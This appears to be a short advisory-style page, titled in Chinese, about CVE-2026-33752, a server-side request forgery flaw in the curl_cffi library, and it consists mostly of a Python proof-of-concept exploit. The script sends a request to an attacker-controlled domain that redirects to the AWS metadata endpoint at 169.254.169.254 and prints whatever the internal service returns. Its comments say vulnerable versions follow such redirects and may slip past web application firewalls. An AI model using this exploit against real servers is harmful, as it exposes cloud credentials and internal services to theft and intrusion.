CVE-2026-33752 curl_cffi服务器端请求伪造漏洞

import sys from curl_cffi import requests # Exploit concept for CVE-2026-33752 # This script demonstrates how an attacker can force the server to request internal resources. def exploit_ssrf(target_url): try: # The attacker controls 'target_url'. # It should respond with a redirect (302) to an internal IP (e.g., metadata service). print(f"[+] Sending request to malicious URL: {target_url}") # curl_cffi < 0.15.0 follows redirects to internal IPs automatically # and uses TLS impersonation which might bypass WAFs. response = requests.get(target_url) # If the internal service returns content, it will be exposed here. print("[+] Response received:") print(response.text) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example: A controlled URL that redirects to http://169.254.169.254/latest/meta-data/ malicious_redirect_url = "http://attacker-controlled-domain.com/redirect_to_aws_metadata" exploit_ssrf(malicious_redirect_url)